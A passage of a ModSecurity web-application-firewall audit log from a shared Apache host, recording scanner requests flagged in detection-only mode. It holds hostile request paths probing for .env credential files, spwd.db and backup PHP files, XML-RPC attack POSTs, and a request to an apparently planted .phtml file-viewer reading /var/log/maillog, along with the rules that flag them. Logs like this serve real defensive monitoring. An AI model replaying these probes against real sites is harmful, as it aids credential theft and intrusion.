Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f203f01b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f203f01b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Ee3ZqyQ8YfVGvJU7cgQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025339467414 943693 (- - -) Stopwatch2: 1750025339467414 943693; combined=2468, p1=393, p2=1638, p3=48, p4=74, p5=194, sr=114, sw=121, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f203f01b-Z-- --68b62e50-A-- [16/Jun/2025:03:39:08.575096 +0530] aE9Eg4rLgrklqy57Kk2f_AAAAAg 185.177.72.210 37458 127.0.0.1 7081 --68b62e50-B-- GET /:5000/vendor/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --68b62e50-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dc4976c64f6b701386941179dab3a73c1750025348; expires=Sun, 15 Jun 2025 23:09:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --68b62e50-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/vendor/laravel/.env"] [unique_id "aE9Eg4rLgrklqy57Kk2f_AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025347857663 717494 (- - -) Stopwatch2: 1750025347857663 717494; combined=2461, p1=485, p2=1878, p3=0, p4=0, p5=98, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --68b62e50-Z-- --40dccb01-A-- [16/Jun/2025:03:39:19.749828 +0530] aE9Ej0NwpNEMJppxC49VvQAAAAI 185.177.72.210 58548 127.0.0.1 7081 --40dccb01-B-- GET /:8008/audio/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --40dccb01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=99597475c37115a8b910f6dafc3c81231750025359; expires=Sun, 15 Jun 2025 23:09:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --40dccb01-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/audio/.env"] [unique_id "aE9Ej0NwpNEMJppxC49VvQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025359064515 685375 (- - -) Stopwatch2: 1750025359064515 685375; combined=2171, p1=478, p2=1598, p3=0, p4=0, p5=94, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --40dccb01-Z-- --d9963721-A-- [16/Jun/2025:03:39:22.793300 +0530] aE9Ekk6Jm8uWY207Wng_RwAAAAE 185.177.72.210 58982 127.0.0.1 7081 --d9963721-B-- GET /:8080/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d9963721-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=62409378b1367c526e4b99029b5bafc51750025362; expires=Sun, 15 Jun 2025 23:09:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d9963721-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/web/.env"] [unique_id "aE9Ekk6Jm8uWY207Wng_RwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025362129275 664085 (- - -) Stopwatch2: 1750025362129275 664085; combined=1774, p1=351, p2=1344, p3=0, p4=0, p5=79, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d9963721-Z-- --1c40660b-A-- [16/Jun/2025:03:39:31.613585 +0530] aE9Em7sEVBap6l1Fvp1ECwAAAAQ 52.169.46.19 43742 127.0.0.1 7081 --1c40660b-B-- GET /wp/wp-admin/includes/class-wp-filesystem-base.php.bak HTTP/1.0 Host: www.medikonindia.com X-Real-IP: 52.169.46.19 X-Accel-Internal: /internal-nginx-static-location Connection: close --1c40660b-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.3.22 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html; charset=UTF-8 --1c40660b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.medikonindia.com|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.medikonindia.com|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.medikonindia.com"] [uri "/wp/wp-admin/includes/class-wp-filesystem-base.php.bak"] [unique_id "aE9Em7sEVBap6l1Fvp1ECwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/medikonindia.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025371369770 243882 (- - -) Stopwatch2: 1750025371369770 243882; combined=1948, p1=321, p2=1516, p3=0, p4=0, p5=110, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c40660b-Z-- --b2b6fa35-A-- [16/Jun/2025:03:39:32.094487 +0530] aE9Em4rLgrklqy57Kk2gDAAAAAg 185.177.72.210 43754 127.0.0.1 7081 --b2b6fa35-B-- GET /:8000/umgebung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b2b6fa35-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0a08b1686069b2693eb448a7f50e03641750025371; expires=Sun, 15 Jun 2025 23:09:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b2b6fa35-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/umgebung/.env"] [unique_id "aE9Em4rLgrklqy57Kk2gDAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025371419777 674770 (- - -) Stopwatch2: 1750025371419777 674770; combined=1976, p1=363, p2=1523, p3=0, p4=0, p5=89, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b2b6fa35-Z-- --eca94b31-A-- [16/Jun/2025:03:39:38.087218 +0530] aE9EoVR6EeXjkGzEkblo2QAAAAs 185.177.72.210 44116 127.0.0.1 7081 --eca94b31-B-- GET /:8181/.env.dist HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eca94b31-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=567f3878ed5ff9a101ced85673dc76491750025377; expires=Sun, 15 Jun 2025 23:09:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eca94b31-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.dist"] [unique_id "aE9EoVR6EeXjkGzEkblo2QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025377438196 649086 (- - -) Stopwatch2: 1750025377438196 649086; combined=1969, p1=433, p2=1430, p3=0, p4=0, p5=105, sr=138, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eca94b31-Z-- --4eb97b5d-A-- [16/Jun/2025:03:39:39.631783 +0530] aE9EoxAGYpjnkyifC9YkKAAAAAU 3.214.176.44 40262 127.0.0.1 7081 --4eb97b5d-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//var/log&viewfile=//var/log/maillog.processed.3.gz HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 3.214.176.44 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --4eb97b5d-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2956 Connection: close Content-Type: text/html; charset=UTF-8 --4eb97b5d-H-- Message: Warning. Matched phrase "var/log/maillog" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: var/log/maillog found within ARGS:viewfile: /var/log/maillog.processed.3.gz"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "var/log/maillog" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: var/log/maillog found within ARGS:viewfile: /var/log/maillog.processed.3.gz"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9EoxAGYpjnkyifC9YkKAAAAAU"] Apache-Handler: application/x-httpd-php Stopwatch: 1750025379628111 3724 (- - -) Stopwatch2: 1750025379628111 3724; combined=2011, p1=329, p2=1560, p3=33, p4=32, p5=57, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4eb97b5d-Z-- --92a7a03a-A-- [16/Jun/2025:03:39:40.903539 +0530] aE9EpB-kH31pk4mNbsVC9gAAAAo 185.177.72.210 40292 127.0.0.1 7081 --92a7a03a-B-- GET /:8008/build/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --92a7a03a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ec3cee3d8d1dbef6248a50d0bcae40991750025380; expires=Sun, 15 Jun 2025 23:09:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --92a7a03a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/build/.env"] [unique_id "aE9EpB-kH31pk4mNbsVC9gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025380153432 750176 (- - -) Stopwatch2: 1750025380153432 750176; combined=2499, p1=481, p2=1920, p3=0, p4=0, p5=97, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --92a7a03a-Z-- --06034734-A-- [16/Jun/2025:03:40:00.823242 +0530] aE9Et0NwpNEMJppxC49V2wAAAAI 128.199.112.101 41848 127.0.0.1 7081 --06034734-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --06034734-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --06034734-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Et0NwpNEMJppxC49V2wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025399902557 920741 (- - -) Stopwatch2: 1750025399902557 920741; combined=2007, p1=354, p2=1304, p3=36, p4=54, p5=162, sr=99, sw=97, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --06034734-Z-- --e9d68669-A-- [16/Jun/2025:03:40:02.153798 +0530] aE9EuX2GhYywD7zZgx7-PAAAAAM 185.177.72.210 41960 127.0.0.1 7081 --e9d68669-B-- GET /examples/08-performance/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e9d68669-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=061e8cfe6995d45fc122d409ab6dffad1750025401; expires=Sun, 15 Jun 2025 23:10:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e9d68669-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/08-performance/.env"] [unique_id "aE9EuX2GhYywD7zZgx7-PAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025401363499 790371 (- - -) Stopwatch2: 1750025401363499 790371; combined=1949, p1=381, p2=1438, p3=0, p4=0, p5=129, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e9d68669-Z-- --8daae472-A-- [16/Jun/2025:03:40:04.298290 +0530] aE9Eu7sEVBap6l1Fvp1EIwAAAAQ 185.177.72.210 42088 127.0.0.1 7081 --8daae472-B-- GET /:5000/.env_bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8daae472-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7708380388f0dcce0d3607b1999a36f11750025404; expires=Sun, 15 Jun 2025 23:10:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8daae472-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env_bak"] [unique_id "aE9Eu7sEVBap6l1Fvp1EIwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025403600201 698163 (- - -) Stopwatch2: 1750025403600201 698163; combined=1931, p1=386, p2=1268, p3=0, p4=0, p5=277, sr=120, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8daae472-Z-- --6ef51a5b-A-- [16/Jun/2025:03:40:06.345104 +0530] aE9EvU6Jm8uWY207Wng_ZwAAAAE 185.177.72.210 42236 127.0.0.1 7081 --6ef51a5b-B-- GET /spwd.db HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6ef51a5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=82372660e5b12b3bd14662e68169581a1750025406; expires=Sun, 15 Jun 2025 23:10:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6ef51a5b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/spwd.db"] [unique_id "aE9EvU6Jm8uWY207Wng_ZwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025405625957 719220 (- - -) Stopwatch2: 1750025405625957 719220; combined=2343, p1=404, p2=1835, p3=0, p4=0, p5=104, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6ef51a5b-Z-- --13109150-A-- [16/Jun/2025:03:40:10.333621 +0530] aE9EwYrLgrklqy57Kk2gJwAAAAg 185.177.72.210 49050 127.0.0.1 7081 --13109150-B-- GET /config/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --13109150-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=22b29f035d37016bf9c4e6b7dd6093171750025410; expires=Sun, 15 Jun 2025 23:10:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --13109150-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.dev"] [unique_id "aE9EwYrLgrklqy57Kk2gJwAAAAg"] Apache-Handler: 